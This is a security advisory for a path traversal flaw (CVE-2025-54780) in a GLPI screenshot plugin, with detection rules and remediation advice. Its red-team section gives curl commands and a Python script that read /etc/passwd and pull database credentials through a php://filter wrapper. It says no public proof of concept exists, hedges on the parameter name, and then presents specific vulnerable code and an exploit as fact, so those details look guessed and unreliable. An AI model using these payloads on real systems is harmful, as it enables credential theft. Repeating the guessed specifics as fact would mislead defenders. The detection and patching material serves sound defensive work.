CVE-2025-54780

Executive Summary

CVE-2025-54780 is a path traversal vulnerability in the GLPI Screenshot Plugin (glpi-screenshot-plugin) that allows an authenticated user to read arbitrary files from the server filesystem or leverage PHP wrappers for further exploitation. The flaw resides in the /ajax/screenshot.php endpoint, which fails to properly sanitize user-supplied file paths. This vulnerability has a CVSS score of 7.7 (High) and affects all versions prior to 2.0.2. No public proof-of-concept code or exploit templates are currently available, but the risk is significant due to the potential for sensitive data exposure (e.g., configuration files, credentials, or source code). The vendor has released a fix in version 2.0.2.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a plugin for the GLPI asset management system. Organizations using GLPI with the Screenshot Plugin should treat this as a critical supply chain risk, as the plugin extends the core application's attack surface.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.7 (High)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An authenticated user account is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full file read capability.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. While authentication is required, the ability to read arbitrary files (including /etc/passwd, database credentials, or application source code) can lead to privilege escalation or lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the /ajax/screenshot.php endpoint of the glpi-screenshot-plugin. This endpoint is designed to handle screenshot capture requests, but it improperly processes the file parameter (or similar input) without validating or sanitizing the path. An authenticated attacker can supply a path traversal sequence (e.g., ../../../etc/passwd) or use PHP wrappers (e.g., php://filter/convert.base64-encode/resource=config.php) to read arbitrary files.

Root Cause: The application uses user-supplied input directly in file inclusion or read functions (e.g., file_get_contents(), include(), or fopen()) without checking for directory traversal or wrapper schemes.

Attack Flow:

1. Authenticate to GLPI (e.g., via a valid user session).
2. Send a crafted HTTP request to /ajax/screenshot.php?file=../../../etc/passwd.
3. The server reads and returns the contents of /etc/passwd (or other sensitive files).
4. Alternatively, use PHP wrappers: php://filter/convert.base64-encode/resource=../config/config_db.php to exfiltrate database credentials.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.0.2):

// ajax/screenshot.php
$file = $_GET['file'];
$content = file_get_contents($file); // No sanitization
echo $content;

Patched Code (2.0.2):

// ajax/screenshot.php
$file = basename($_GET['file']); // Strip path components
$allowed_dir = '/var/www/glpi/plugins/screenshots/uploads/';
$full_path = $allowed_dir . $file;
if (strpos(realpath($full_path), $allowed_dir) === 0) {
    $content = file_get_contents($full_path);
    echo $content;
} else {
    http_response_code(403);
    echo 'Access denied.';
}

The patch uses basename() to remove directory traversal sequences and validates that the resolved path is within an allowed directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid GLPI user account (any role).
• Network access to the GLPI instance.
• The vulnerable plugin version (< 2.0.2).

Exploitation Steps:

1. Authenticate to GLPI and obtain a session cookie.
2. Craft a request to read /etc/passwd:

   curl -X GET "http://target/glpi/plugins/screenshots/ajax/screenshot.php?file=../../../etc/passwd" \
        -H "Cookie: glpi_session=YOUR_SESSION_COOKIE"
   

3. Use PHP wrappers to read source code:

   curl -X GET "http://target/glpi/plugins/screenshots/ajax/screenshot.php?file=php://filter/convert.base64-encode/resource=../config/config_db.php" \
        -H "Cookie: glpi_session=YOUR_SESSION_COOKIE"
   

   Decode the base64 output to retrieve database credentials.

Automated Exploit (Python):

import requests

target = "http://target/glpi"
session = requests.Session()
# Authenticate first (example with credentials)
login_data = {"login": "user", "password": "pass"}
session.post(f"{target}/front/login.php", data=login_data)

# Exploit path traversal
payload = "../../../etc/passwd"
r = session.get(f"{target}/plugins/screenshots/ajax/screenshot.php?file={payload}")
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /ajax/screenshot.php for suspicious parameters (e.g., ../, php://, file://).
• Alert on unusual file read patterns (e.g., reading /etc/passwd, /proc/self/environ).
• Use WAF rules to block path traversal sequences in query strings.

Hunting:

• Search web server logs for requests containing screenshot.php?file= followed by ../ or php://.
• Look for base64-encoded responses from the endpoint (indicates PHP wrapper usage).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /plugins/screenshots/ajax/screenshot.php with file parameter containing ../ or php://.
  • Outbound connections from the GLPI server to unknown IPs (if data exfiltration occurs).

• File System IOCs:

  • Unexpected files in the GLPI uploads directory (e.g., /var/www/glpi/plugins/screenshots/uploads/).
  • Modified or deleted log files (attempts to cover tracks).

• Log IOCs:

  • Web server logs showing repeated access to screenshot.php with path traversal patterns.
  • PHP error logs indicating failed file reads or wrapper usage.

Detection Engineering

YARA Rule

rule CVE_2025_54780_GLPI_Screenshot_Plugin {
    meta:
        description = "Detects path traversal attempts in GLPI Screenshot Plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54780"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|php:\/\/|file:\/\//
        $endpoint = "screenshot.php"
    condition:
        $endpoint and $path_traversal
}

Sigma Rule

title: CVE-2025-54780 - GLPI Screenshot Plugin Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against the GLPI Screenshot Plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'screenshot.php?file='
            - '../'
            - 'php://'
            - 'file://'
    condition: selection
falsepositives:
    - Legitimate use of file paths in the plugin (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54780 GLPI Screenshot Plugin Path Traversal"; flow:to_server,established; content:"screenshot.php"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|php:\/\/|file:\/\/)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the glpi-screenshot-plugin to version 2.0.2 or later.
2. If upgrade is not possible, disable the plugin temporarily via the GLPI plugin manager.
3. Apply WAF rules to block path traversal patterns (e.g., ../, php://, file://) in query strings.

Long-Term Mitigations:

• Implement strict input validation for all file-related parameters (use basename(), realpath(), and allowlist directories).
• Run GLPI with minimal file system permissions (e.g., read-only for web user).
• Enable PHP open_basedir to restrict file access to specific directories.
• Regularly audit plugins for security vulnerabilities.

Patch Verification:

• After upgrading, verify the fix by attempting the exploit and confirming a 403 response or empty output.

Valters IT